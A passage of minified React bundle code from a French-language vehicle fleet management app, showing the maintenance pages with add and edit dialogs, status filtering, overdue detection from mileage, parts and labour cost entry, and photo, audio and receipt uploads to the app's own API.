(FCFA)&quot;}),a.jsx(Xe,{id:&quot;cout&quot;,type:&quot;number&quot;,step:&quot;0.01&quot;,placeholder:&quot;50000&quot;,value:j.cout||&quot;&quot;,onChange:C=&gt;E({...j,cout:C.target.value?parseFloat(C.target.value):void 0}),min:&quot;0&quot;,className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-cost&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;notes&quot;,children:&quot;Notes&quot;}),a.jsx(K0,{id:&quot;notes&quot;,placeholder:&quot;Notes sur la maintenance...&quot;,value:j.notes||&quot;&quot;,onChange:C=&gt;E({...j,notes:C.target.value||void 0}),rows:3,&quot;data-testid&quot;:&quot;textarea-notes&quot;})]})]}),a.jsxs(Na,{className:&quot;gap-2 flex-col sm:flex-row&quot;,children:[a.jsx(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;c(!1),&quot;data-testid&quot;:&quot;button-cancel&quot;,className:&quot;w-full sm:w-auto h-12&quot;,children:&quot;Annuler&quot;}),a.jsx(ge,{type:&quot;submit&quot;,&quot;data-testid&quot;:&quot;button-submit&quot;,className:&quot;w-full sm:w-auto h-12&quot;,children:&quot;Ajouter&quot;})]})]});return n!==void 0?a.jsx(En,{open:l,onOpenChange:c,children:a.jsxs(yn,{className:&quot;sm:max-w-[500px] max-h-[90vh] overflow-y-auto&quot;,children:[a.jsxs(Cn,{children:[a.jsx(In,{children:&quot;Ajouter une maintenance&quot;}),a.jsx(Mn,{children:&quot;Planifiez ou enregistrez une maintenance pour un véhicule ou une remorque.&quot;})]}),_]})}):a.jsxs(En,{open:l,onOpenChange:c,children:[a.jsx(ah,{asChild:!0,children:r||a.jsxs(ge,{&quot;data-testid&quot;:&quot;button-add-maintenance&quot;,className:&quot;w-full md:w-auto&quot;,size:&quot;sm&quot;,children:[a.jsx(Ti,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Ajouter une maintenance&quot;]})}),a.jsxs(yn,{className:&quot;sm:max-w-[500px] max-h-[90vh] overflow-y-auto&quot;,children:[a.jsxs(Cn,{children:[a.jsx(In,{children:&quot;Ajouter une maintenance&quot;}),a.jsx(Mn,{children:&quot;Planifiez ou enregistrez une maintenance pour un véhicule ou une remorque.&quot;})]}),_]})]})}function N$e({maintenance:e,onUpdate:t,open:r,onOpenChange:n}){const{data:i=[]}=cr({queryKey:[&quot;/api/vehicles&quot;]}),{data:s=[]}=cr({queryKey:[&quot;/api/trailers&quot;]}),[o,l]=I.useState({type:e.type,datePrevue:e.datePrevue?new Date(e.datePrevue):void 0,kilometragePrevu:e.kilometragePrevu||void 0,dateEffectuee:e.dateEffectuee?new Date(e.dateEffectuee):void 0,kilometrageEffectue:e.kilometrageEffectue||void 0,cout:e.cout||void 0,notes:e.notes||void 0,status:e.status||&quot;planned&quot;});I.useEffect(()=&gt;{l({type:e.type,datePrevue:e.datePrevue?new Date(e.datePrevue):void 0,kilometragePrevu:e.kilometragePrevu||void 0,dateEffectuee:e.dateEffectuee?new Date(e.dateEffectuee):void 0,kilometrageEffectue:e.kilometrageEffectue||void 0,cout:e.cout||void 0,notes:e.notes||void 0,status:e.status||&quot;planned&quot;})},[e]);const c=A=&gt;{A.preventDefault();const y={...o,status:o.dateEffectuee&amp;&amp;o.status===&quot;planned&quot;?&quot;completed&quot;:o.status};t?.(y),n(!1)},d=!!e.vehicleId,u=!!e.trailerId,h=d?i.find(A=&gt;A.id===e.vehicleId):null,p=u?s.find(A=&gt;A.id===e.trailerId):null;return a.jsx(En,{open:r,onOpenChange:n,children:a.jsxs(yn,{className:&quot;sm:max-w-[500px] max-h-[90vh] overflow-y-auto&quot;,children:[a.jsxs(Cn,{children:[a.jsx(In,{children:&quot;Modifier la maintenance&quot;}),a.jsx(Mn,{children:&quot;Mettez à jour les informations de cette maintenance.&quot;})]}),a.jsxs(&quot;form&quot;,{onSubmit:c,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-4 py-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{children:d?&quot;Véhicule&quot;:&quot;Remorque&quot;}),a.jsx(&quot;div&quot;,{className:&quot;flex items-center gap-2 p-3 bg-muted rounded-md&quot;,children:d?a.jsxs(a.Fragment,{children:[a.jsx(Fa,{className:&quot;h-4 w-4&quot;}),a.jsx(&quot;span&quot;,{children:h?.immatriculation||&quot;Véhicule inconnu&quot;})]}):a.jsxs(a.Fragment,{children:[a.jsx(il,{className:&quot;h-4 w-4&quot;}),a.jsxs(&quot;span&quot;,{children:[p?.numeroChassis,&quot; &quot;,p?.nom?`- ${p.nom}`:&quot;&quot;]})]})})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;type&quot;,children:[&quot;Type &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsxs(rn,{value:o.type,onValueChange:A=&gt;l({...o,type:A}),required:!0,children:[a.jsx(Xr,{id:&quot;type&quot;,className:&quot;h-12&quot;,children:a.jsx(nn,{placeholder:&quot;Sélectionner un type&quot;})}),a.jsx(en,{children:B_.map(A=&gt;a.jsx(Qt,{value:A,children:A.charAt(0).toUpperCase()+A.slice(1).replace(&quot;_&quot;,&quot; &quot;)},A))})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;datePrevue&quot;,children:&quot;Date prévue&quot;}),a.jsx(Xe,{id:&quot;datePrevue&quot;,type:&quot;date&quot;,value:o.datePrevue?new Date(o.datePrevue).toISOString().split(&quot;T&quot;)[0]:&quot;&quot;,onChange:A=&gt;l({...o,datePrevue:A.target.value?new Date(A.target.value):void 0}),className:&quot;h-12&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;kilometragePrevu&quot;,children:&quot;Kilométrage prévu&quot;}),a.jsx(Xe,{id:&quot;kilometragePrevu&quot;,type:&quot;number&quot;,placeholder:&quot;50000&quot;,value:o.kilometragePrevu||&quot;&quot;,onChange:A=&gt;l({...o,kilometragePrevu:A.target.value?parseInt(A.target.value):void 0}),min:&quot;0&quot;,className:&quot;h-12&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;dateEffectuee&quot;,children:&quot;Date effectuée&quot;}),a.jsx(Xe,{id:&quot;dateEffectuee&quot;,type:&quot;date&quot;,value:o.dateEffectuee?new Date(o.dateEffectuee).toISOString().split(&quot;T&quot;)[0]:&quot;&quot;,onChange:A=&gt;l({...o,dateEffectuee:A.target.value?new Date(A.target.value):void 0}),className:&quot;h-12&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;kilometrageEffectue&quot;,children:&quot;Kilométrage effectué&quot;}),a.jsx(Xe,{id:&quot;kilometrageEffectue&quot;,type:&quot;number&quot;,placeholder:&quot;50000&quot;,value:o.kilometrageEffectue||&quot;&quot;,onChange:A=&gt;l({...o,kilometrageEffectue:A.target.value?parseInt(A.target.value):void 0}),min:&quot;0&quot;,className:&quot;h-12&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;cout&quot;,children:&quot;Coût (FCFA)&quot;}),a.jsx(Xe,{id:&quot;cout&quot;,type:&quot;number&quot;,step:&quot;0.01&quot;,placeholder:&quot;50000&quot;,value:o.cout||&quot;&quot;,onChange:A=&gt;l({...o,cout:A.target.value?parseFloat(A.target.value):void 0}),min:&quot;0&quot;,className:&quot;h-12&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;status&quot;,children:&quot;Statut&quot;}),a.jsxs(rn,{value:o.status||&quot;planned&quot;,onValueChange:A=&gt;l({...o,status:A}),children:[a.jsx(Xr,{id:&quot;status&quot;,className:&quot;h-12&quot;,children:a.jsx(nn,{})}),a.jsxs(en,{children:[a.jsx(Qt,{value:&quot;planned&quot;,children:&quot;Planifié&quot;}),a.jsx(Qt,{value:&quot;in_progress&quot;,children:&quot;En cours&quot;}),a.jsx(Qt,{value:&quot;completed&quot;,children:&quot;Terminé&quot;}),a.jsx(Qt,{value:&quot;overdue&quot;,children:&quot;En retard&quot;})]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;notes&quot;,children:&quot;Notes&quot;}),a.jsx(K0,{id:&quot;notes&quot;,placeholder:&quot;Notes sur la maintenance...&quot;,value:o.notes||&quot;&quot;,onChange:A=&gt;l({...o,notes:A.target.value||void 0}),rows:3})]})]}),a.jsxs(Na,{className:&quot;gap-2 flex-col sm:flex-row&quot;,children:[a.jsx(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;n(!1),className:&quot;w-full sm:w-auto h-12&quot;,children:&quot;Annuler&quot;}),a.jsx(ge,{type:&quot;submit&quot;,className:&quot;w-full sm:w-auto h-12&quot;,children:&quot;Enregistrer&quot;})]})]})]})})}function S$e(){const[e,t]=I.useState(&quot;&quot;),[r,n]=I.useState(&quot;all&quot;),[i,s]=I.useState(&quot;all&quot;),[o,l]=I.useState(null),[c,d]=I.useState(!1),[u,h]=I.useState(null),[p,A]=I.useState(!1),[y,v]=I.useState(null),{toast:w}=Er(),j=m$e(),[E,S]=I.useState(&quot;planned&quot;),[_,C]=I.useState(null),[Q,R]=I.useState(null),[T,M]=I.useState(null),[O,$]=I.useState(null),[P,L]=I.useState(null),[X,W]=I.useState(null),[G,J]=I.useState(!1),[q,ee]=I.useState(null),[ne,V]=I.useState(0),[ue,de]=I.useState(null),[xe,_e]=I.useState([]),[Ce,we]=I.useState(&quot;&quot;),[ve,Ne]=I.useState(&quot;&quot;),[Ie,be]=I.useState(&quot;&quot;),[Re,Pe]=I.useState(&quot;&quot;),[Ke,tt]=I.useState(&quot;&quot;),[pt,dt]=I.useState(&quot;&quot;),[Oe,Pt]=I.useState(&quot;&quot;),{data:Kt=[]}=cr({queryKey:[&quot;/api/vehicles&quot;]}),{data:gt=[]}=cr({queryKey:[&quot;/api/trailers&quot;]}),{data:Jt=[]}=cr({queryKey:[&quot;/api/trips&quot;]}),{data:Bt=[],isLoading:tr}=cr({queryKey:[&quot;/api/maintenances&quot;],queryFn:()=&gt;d$e()}),sr=tr,xt=_r({mutationFn:async Te=&gt;await $t(&quot;/api/maintenances&quot;,{method:&quot;POST&quot;,body:Te}),onSuccess:()=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/maintenances&quot;]}),w({title:&quot;Succès&quot;,description:&quot;La maintenance a été ajoutée avec succès&quot;})},onError:Te=&gt;{w({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:Te.message||&quot;Impossible d&#039;ajouter la maintenance&quot;})}}),wt=_r({mutationFn:async Te=&gt;await $t(`/api/maintenances/${Te}`,{method:&quot;DELETE&quot;}),onSuccess:()=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/maintenances&quot;]}),w({title:&quot;Succès&quot;,description:&quot;La maintenance a été supprimée avec succès&quot;}),l(null)},onError:Te=&gt;{w({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:Te.message||&quot;Impossible de supprimer la maintenance&quot;})}}),Lt=I.useMemo(()=&gt;{const Te=new Map;return Kt.forEach(zt=&gt;{const qr=Jt.filter(Zr=&gt;Zr.vehicleId===zt.id&amp;&amp;Zr.arrivalOdometerKm),kr=qr.length&gt;0?Math.max(...qr.map(Zr=&gt;Zr.arrivalOdometerKm||0)):0,fr=(Bt||[]).filter(Zr=&gt;Zr.vehicleId!==null&amp;&amp;Zr.vehicleId===zt.id&amp;&amp;Zr.kilometrageEffectue),Ft=fr.length&gt;0?Math.max(...fr.map(Zr=&gt;Zr.kilometrageEffectue||0)):0,Gr=Math.max(kr,Ft);Gr&gt;0&amp;&amp;Te.set(zt.id,Gr)}),Te},[Kt,Jt,Bt]),ir=I.useMemo(()=&gt;(Bt||[]).map(Te=&gt;{if(Te.status&amp;&amp;Te.status!==&quot;planned&quot;)return Te;const zt=Te.vehicleId&amp;&amp;Lt.get(Te.vehicleId)||0,qr=Te.kilometragePrevu&amp;&amp;zt&gt;=Te.kilometragePrevu||Te.datePrevue&amp;&amp;new Date(Te.datePrevue)&lt;new Date;return{...Te,status:qr?&quot;overdue&quot;:Te.status||&quot;planned&quot;}}),[Bt,Lt]),He=I.useMemo(()=&gt;{const Te=new Map,zt=new Map;(ir||[]).forEach(fr=&gt;{if(fr.vehicleId){const Ft=Kt.find(Gr=&gt;Gr.id===fr.vehicleId);if(!Ft)return;Te.has(Ft.id)||Te.set(Ft.id,{vehicle:Ft,currentMileage:Lt.get(Ft.id)||null,maintenances:[]}),Te.get(Ft.id).maintenances.push(fr)}else if(fr.trailerId){const Ft=gt.find(Gr=&gt;Gr.id===fr.trailerId);if(!Ft)return;zt.has(Ft.id)||zt.set(Ft.id,{trailer:Ft,currentMileage:null,maintenances:[]}),zt.get(Ft.id).maintenances.push(fr)}});const qr=Array.from(Te.values()).sort((fr,Ft)=&gt;(fr.vehicle?.immatriculation||&quot;&quot;).localeCompare(Ft.vehicle?.immatriculation||&quot;&quot;)),kr=Array.from(zt.values()).sort((fr,Ft)=&gt;(fr.trailer?.numeroChassis||&quot;&quot;).localeCompare(Ft.trailer?.numeroChassis||&quot;&quot;));return[...qr,...kr]},[ir,Kt,gt,Lt]),ce=I.useMemo(()=&gt;He.map(Te=&gt;({...Te,maintenances:Te.maintenances.filter(zt=&gt;{const qr=i===&quot;all&quot;||zt.status===i,kr=!e||zt.type.toLowerCase().includes(e.toLowerCase())||Te.vehicle?.immatriculation.toLowerCase().includes(e.toLowerCase())||Te.trailer?.numeroChassis.toLowerCase().includes(e.toLowerCase())||Te.trailer?.nom?.toLowerCase().includes(e.toLowerCase())||!1||zt.notes?.toLowerCase().includes(e.toLowerCase()),fr=r===&quot;all&quot;||Te.vehicle&amp;&amp;Te.vehicle.id.toString()===r||Te.trailer&amp;&amp;Te.trailer.id.toString()===r;return qr&amp;&amp;kr&amp;&amp;fr})})).filter(Te=&gt;Te.maintenances.length&gt;0),[He,i,e,r]),Le=_r({mutationFn:({id:Te,data:zt})=&gt;f$e(Te,zt),onSuccess:()=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/maintenances&quot;]}),w({title:&quot;Maintenance mise à jour&quot;,description:&quot;La maintenance a été mise à jour avec succès.&quot;}),A(!1),h(null)},onError:Te=&gt;{w({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:Te.message||&quot;Impossible de mettre à jour la maintenance&quot;})}}),rt=Te=&gt;{u&amp;&amp;Le.mutate({id:u.id,data:Te})},ie=Te=&gt;{h(Te),A(!0)},ae=Te=&gt;{const zt=Te;if(!zt.vehicleId||zt.vehicleId&lt;=0){w({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Veuillez sélectionner un véhicule valide&quot;});return}xt.mutate(zt)},Ee=Te=&gt;{l(Te)},re=()=&gt;{o&amp;&amp;wt.mutate(o)},We=Te=&gt;{v(Te),S(Te.status||&quot;planned&quot;),R(Te.photoUrl||null),$(Te.audioUrl||null),W(Te.justificatifUrl||null);const zt=Te.replacedParts?typeof Te.replacedParts==&quot;string&quot;?JSON.parse(Te.replacedParts):Te.replacedParts:[];_e(Array.isArray(zt)?zt:[]),we(Te.laborCost?.toString()||&quot;&quot;),tt(Te.dateEffectuee?new Date(Te.dateEffectuee).toISOString().split(&quot;T&quot;)[0]:&quot;&quot;),dt(Te.kilometrageEffectue?.toString()||&quot;&quot;),Pt(Te.notes||&quot;&quot;),Ne(&quot;&quot;),be(&quot;&quot;),Pe(&quot;&quot;)},Tt=()=&gt;{v(null),C(null),R(null),M(null),O&amp;&amp;(URL.revokeObjectURL(O),$(null)),L(null),W(null),_e([]),we(&quot;&quot;),tt(&quot;&quot;),dt(&quot;&quot;),Pt(&quot;&quot;),Ne(&quot;&quot;),be(&quot;&quot;),Pe(&quot;&quot;),q&amp;&amp;G&amp;&amp;(q.stop(),ee(null)),ue&amp;&amp;(clearInterval(ue),de(null)),J(!1),V(0)},H=()=&gt;{if(!ve.trim()||!Ie||!Re){w({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Veuillez remplir tous les champs de la pièce&quot;});return}const Te=parseFloat(Ie),zt=parseFloat(Re);if(isNaN(Te)||Te&lt;=0||isNaN(zt)||zt&lt;0){w({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;La quantité et le coût unitaire doivent être des nombres valides&quot;});return}_e([...xe,{name:ve.trim(),quantity:Te,unitCost:zt}]),Ne(&quot;&quot;),be(&quot;&quot;),Pe(&quot;&quot;)},ze=Te=&gt;{_e(xe.filter((zt,qr)=&gt;qr!==Te))},Ze=I.useMemo(()=&gt;xe.reduce((Te,zt)=&gt;Te+zt.quantity*zt.unitCost,0),[xe]),he=I.useMemo(()=&gt;{const Te=parseFloat(Ce)||0;return Ze+Te},[Ze,Ce]),De=async()=&gt;{if(!y)return;let Te=Q,zt=O,qr=X;if(_)try{Te=(await y$e(_)).url}catch{w({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Impossible d&#039;uploader la photo&quot;});return}if(T)try{const kr=new File([T],&quot;maintenance-audio.webm&quot;,{type:T.type});zt=(await b$e(kr)).url}catch{w({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Impossible d&#039;uploader l&#039;audio&quot;});return}if(P)try{qr=(await w$e(P)).url}catch{w({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Impossible d&#039;uploader le justificatif&quot;});return}j.treat({maintenanceId:y.id,data:{status:E,photoUrl:Te,audioUrl:zt,replacedParts:xe.length&gt;0?xe:null,laborCost:Ce?parseFloat(Ce):null,totalCost:he&gt;0?he:null,justificatifUrl:qr,dateEffectuee:Ke?new Date(Ke):null,kilometrageEffectue:pt?parseInt(pt):null}}),Tt()},qe={vidange:&quot;Vidange&quot;,filtres:&quot;Filtres&quot;,pneus:&quot;Pneus&quot;,liquide_frein:&quot;Liquide de frein&quot;,adblue:&quot;AdBlue&quot;,autre:&quot;Autre&quot;},dr={planned:&quot;Planifié&quot;,in_progress:&quot;En cours&quot;,completed:&quot;Terminé&quot;,overdue:&quot;En retard&quot;},Xt={planned:&quot;bg-blue-100 text-blue-800 border-blue-300&quot;,in_progress:&quot;bg-yellow-100 text-yellow-800 border-yellow-300&quot;,completed:&quot;bg-green-100 text-green-800 border-green-300&quot;,overdue:&quot;bg-red-100 text-red-800 border-red-300&quot;};return a.jsxs(&quot;div&quot;,{className:&quot;space-y-4 md:space-y-6 pb-20 md:pb-0&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col md:flex-row md:items-start md:justify-between gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;h1&quot;,{className:&quot;text-xl md:text-2xl font-semibold&quot;,&quot;data-testid&quot;:&quot;text-page-title&quot;,children:&quot;Entretiens&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Gérez les entretiens de vos véhicules&quot;})]}),a.jsxs(ge,{&quot;data-testid&quot;:&quot;button-add-maintenance&quot;,className:&quot;w-full md:w-auto&quot;,size:&quot;sm&quot;,onClick:()=&gt;d(!0),children:[a.jsx(Ti,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Ajouter une maintenance&quot;]}),a.jsx(j$e,{onAdd:ae,open:c,onOpenChange:d})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col md:flex-row items-stretch md:items-center gap-3&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;relative flex-1&quot;,children:[a.jsx(rf,{className:&quot;absolute left-3 top-1/2 -translate-y-1/2 h-4 w-4 text-muted-foreground&quot;}),a.jsx(Xe,{placeholder:&quot;Rechercher...&quot;,value:e,onChange:Te=&gt;t(Te.target.value),className:&quot;pl-9 h-12&quot;,&quot;data-testid&quot;:&quot;input-search&quot;})]}),a.jsxs(rn,{value:r,onValueChange:n,children:[a.jsx(Xr,{className:&quot;h-12 w-full md:w-[200px]&quot;,children:a.jsx(nn,{placeholder:&quot;Tous les véhicules/remorques&quot;})}),a.jsxs(en,{children:[a.jsx(Qt,{value:&quot;all&quot;,children:&quot;Tous les véhicules/remorques&quot;}),Kt.length&gt;0&amp;&amp;a.jsxs(a.Fragment,{children:[a.jsx(&quot;div&quot;,{className:&quot;px-2 py-1.5 text-xs font-semibold text-muted-foreground&quot;,children:&quot;Véhicules&quot;}),Kt.map(Te=&gt;a.jsx(Qt,{value:Te.id.toString(),children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Fa,{className:&quot;h-4 w-4&quot;}),a.jsx(&quot;span&quot;,{children:Te.immatriculation})]})},`vehicle-${Te.id}`))]}),gt.length&gt;0&amp;&amp;a.jsxs(a.Fragment,{children:[a.jsx(&quot;div&quot;,{className:&quot;px-2 py-1.5 text-xs font-semibold text-muted-foreground&quot;,children:&quot;Remorques&quot;}),gt.map(Te=&gt;a.jsx(Qt,{value:Te.id.toString(),children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(il,{className:&quot;h-4 w-4&quot;}),a.jsxs(&quot;span&quot;,{children:[Te.numeroChassis,&quot; &quot;,Te.nom?`- ${Te.nom}`:&quot;&quot;]})]})},`trailer-${Te.id}`))]})]})]})]}),sr?a.jsx(&quot;div&quot;,{className:&quot;flex justify-center items-center py-12&quot;,children:a.jsx(Nt,{className:&quot;h-8 w-8 animate-spin text-primary&quot;})}):a.jsx(a.Fragment,{children:a.jsxs(ul,{value:i,onValueChange:s,className:&quot;space-y-4&quot;,children:[a.jsxs(Ro,{className:&quot;w-full grid grid-cols-5&quot;,children:[a.jsx(hn,{value:&quot;all&quot;,className:&quot;text-xs md:text-sm&quot;,children:&quot;Tous&quot;}),a.jsx(hn,{value:&quot;planned&quot;,className:&quot;text-xs md:text-sm&quot;,children:&quot;Planifiés&quot;}),a.jsx(hn,{value:&quot;in_progress&quot;,className:&quot;text-xs md:text-sm&quot;,children:&quot;En cours&quot;}),a.jsx(hn,{value:&quot;completed&quot;,className:&quot;text-xs md:text-sm&quot;,children:&quot;Terminés&quot;}),a.jsx(hn,{value:&quot;overdue&quot;,className:&quot;text-xs md:text-sm&quot;,children:&quot;En retard&quot;})]}),a.jsx(dn,{value:i,className:&quot;mt-0&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;space-y-6&quot;,children:[ce.map(Te=&gt;{const zt=Te.maintenances.filter(Ft=&gt;Ft.status===&quot;overdue&quot;).length,qr=!!Te.vehicle;Te.trailer;const kr=qr?Te.vehicle.immatriculation:Te.trailer.numeroChassis+(Te.trailer.nom?` - ${Te.trailer.nom}`:&quot;&quot;),fr=qr?Te.vehicle.photoUrl:Te.trailer.photoUrl;return a.jsxs(it,{className:&quot;overflow-hidden&quot;,children:[a.jsx(br,{className:&quot;pb-4&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-start gap-4&quot;,children:[fr&amp;&amp;a.jsx(&quot;img&quot;,{src:Sr(fr)||void 0,alt:kr,className:&quot;w-20 h-20 object-cover rounded-lg border flex-shrink-0&quot;,onError:Ft=&gt;{Ft.target.style.display=&quot;none&quot;}}),a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0&quot;,children:[a.jsxs(jr,{className:&quot;text-lg mb-1 flex items-center gap-2&quot;,children:[qr?a.jsx(Fa,{className:&quot;h-5 w-5&quot;}):a.jsx(il,{className:&quot;h-5 w-5&quot;}),qr?&quot;Véhicule&quot;:&quot;Remorque&quot;,&quot;: &quot;,kr]}),a.jsx(wn,{className:&quot;mb-2&quot;,children:qr&amp;&amp;Te.currentMileage?`Kilométrage actuel: ${Te.currentMileage.toLocaleString()} km`:qr?&quot;Kilométrage non disponible&quot;:&quot;Remorque (pas de kilométrage)&quot;}),zt&gt;0&amp;&amp;a.jsxs(yt,{variant:&quot;destructive&quot;,className:&quot;text-xs&quot;,children:[&quot;⚠️ &quot;,zt,&quot; entretien&quot;,zt&gt;1?&quot;s&quot;:&quot;&quot;,&quot; en retard&quot;]})]})]})}),a.jsx(Et,{children:a.jsx(&quot;div&quot;,{className:&quot;grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 xl:grid-cols-4 gap-4&quot;,children:Te.maintenances.map(Ft=&gt;{const Gr=Ft;return a.jsxs(it,{className:&quot;overflow-hidden border-blue-200&quot;,children:[Gr.photoUrl&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;relative w-full aspect-video overflow-hidden rounded-t-xl bg-muted mb-3&quot;,children:[a.jsx(&quot;img&quot;,{src:Sr(Gr.photoUrl)||void 0,alt:qe[Ft.type]||Ft.type,className:&quot;w-full h-full object-cover&quot;,onError:Zr=&gt;{Zr.target.style.display=&quot;none&quot;}}),a.jsx(&quot;div&quot;,{className:&quot;absolute top-3 left-3 z-10&quot;,children:a.jsx(ge,{size:&quot;icon&quot;,variant:&quot;secondary&quot;,className:&quot;h-12 w-12 rounded-full bg-background/90 backdrop-blur-sm border shadow-sm hover:bg-background/95 cursor-pointer p-0&quot;,onClick:Zr=&gt;{Zr.stopPropagation(),We(Ft)},title:&quot;Traiter l&#039;entretien&quot;,children:a.jsx(&quot;span&quot;,{className:&quot;text-2xl&quot;,children:zA[Ft.type]||zA.autre})})}),a.jsx(Wv,{type:&quot;maintenance&quot;,data:{immatriculation:qr?Te.vehicle.immatriculation:Te.trailer.numeroChassis+(Te.trailer.nom?` - ${Te.trailer.nom}`:&quot;&quot;)}})]}),a.jsx(br,{className:&quot;pb-3&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-start justify-between gap-2&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex-1&quot;,children:[!Gr.photoUrl&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;flex items-center gap-3 mb-2&quot;,children:a.jsx(ge,{size:&quot;icon&quot;,variant:&quot;secondary&quot;,className:&quot;h-12 w-12 rounded-full bg-background/90 backdrop-blur-sm border shadow-sm hover:bg-background/95 cursor-pointer p-0&quot;,onClick:Zr=&gt;{Zr.stopPropagation(),We(Ft)},title:&quot;Traiter l&#039;entretien&quot;,children:a.jsx(&quot;span&quot;,{className:&quot;text-2xl&quot;,children:zA[Ft.type]||zA.autre})})}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 mb-2&quot;,children:[a.jsx(v6,{type:qe[Ft.type]||Ft.type,variant:&quot;maintenance&quot;,size:&quot;sm&quot;}),a.jsx(yt,{variant:&quot;outline&quot;,className:`text-xs ${Xt[Ft.status||&quot;planned&quot;]}`,children:dr[Ft.status||&quot;planned&quot;]})]}),a.jsx(jr,{className:&quot;text-base&quot;,children:qe[Ft.type]||Ft.type})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-1&quot;,children:[a.jsx(N1,{cardData:{type:&quot;maintenance&quot;,title:qe[Ft.type]||Ft.type,details:{type:qe[Ft.type]||Ft.type,vehicule:qr?Te.vehicle.immatriculation:Te.trailer.numeroChassis+(Te.trailer.nom?` - ${Te.trailer.nom}`:&quot;&quot;),date:Ft.datePrevue?Wr(new Date(Ft.datePrevue),&quot;dd/MM/yyyy&quot;,{locale:Hr}):void 0,dateEffectuee:Ft.dateEffectuee?Wr(new Date(Ft.dateEffectuee),&quot;dd/MM/yyyy&quot;,{locale:Hr}):void 0,cout:Ft.cout?`${Ft.cout.toLocaleString()} FCFA`:void 0}},size:&quot;sm&quot;}),a.jsx(ge,{size:&quot;icon&quot;,variant:&quot;ghost&quot;,onClick:()=&gt;ie(Ft),className:&quot;h-8 w-8 flex-shrink-0&quot;,title:&quot;Modifier la maintenance&quot;,children:a.jsx(zm,{className:&quot;h-4 w-4&quot;})}),a.jsx(ge,{size:&quot;icon&quot;,variant:&quot;ghost&quot;,onClick:()=&gt;Ee(Ft.id),className:&quot;h-8 w-8 flex-shrink-0&quot;,children:a.jsx(Ns,{className:&quot;h-4 w-4&quot;})})]})]})}),a.jsxs(Et,{className:&quot;space-y-2 text-sm md:space-y-3&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 gap-2 md:gap-3&quot;,children:[Ft.datePrevue&amp;&amp;a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;span&quot;,{className:&quot;text-muted-foreground text-xs&quot;,children:&quot;Date prévue: &quot;}),a.jsx(&quot;span&quot;,{className:&quot;font-medium&quot;,children:Wr(new Date(Ft.datePrevue),&quot;dd/MM/yyyy&quot;,{locale:Hr})})]}),Ft.kilometragePrevu&amp;&amp;a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;span&quot;,{className:&quot;text-muted-foreground text-xs&quot;,children:&quot;Km prévu: &quot;}),a.jsxs(&quot;span&quot;,{className:&quot;font-medium&quot;,children:[Ft.kilometragePrevu.toLocaleString(),&quot; 